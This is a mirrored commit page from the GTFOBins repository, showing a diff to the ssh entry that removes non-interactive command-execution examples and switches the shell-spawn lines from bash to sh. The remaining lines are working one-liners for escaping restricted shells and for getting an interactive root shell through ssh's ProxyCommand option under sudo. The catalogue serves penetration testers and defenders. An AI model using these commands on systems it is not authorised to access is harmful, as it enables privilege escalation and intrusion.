mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Remove non-interactive versions
This commit is contained in:
parent
1e443710a2
commit
6e6cbb66a7
@ -4,19 +4,10 @@ functions:
|
|||||||
- description: Reconnecting may help bypassing restricted shells.
|
- description: Reconnecting may help bypassing restricted shells.
|
||||||
code: ssh localhost $SHELL --noprofile --norc
|
code: ssh localhost $SHELL --noprofile --norc
|
||||||
- description: Spawn interactive shell through ProxyCommand option.
|
- description: Spawn interactive shell through ProxyCommand option.
|
||||||
code: ssh -o ProxyCommand="/bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/bash -i'" whatever.invalid
|
code: ssh -o ProxyCommand="/bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" x
|
||||||
execute-non-interactive:
|
|
||||||
- description: The executed command output is not shown and can be redirected to a file.
|
|
||||||
code: |
|
|
||||||
CMD=/usr/bin/id
|
|
||||||
ssh -o ProxyCommand="${CMD}" whatever.invalid
|
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: Spawn interactive root shell through ProxyCommand option.
|
- description: Spawn interactive root shell through ProxyCommand option.
|
||||||
code: sudo ssh -o ProxyCommand="/bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/bash -i'" whatever.invalid
|
code: sudo ssh -o ProxyCommand="/bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" x
|
||||||
- description: The executed command output is not shown and can be redirected to a file.
|
|
||||||
code: |
|
|
||||||
CMD=/usr/bin/id
|
|
||||||
sudo ssh -o ProxyCommand="${CMD}" whatever.invalid
|
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a SSH server.
|
- description: Fetch a remote file from a SSH server.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user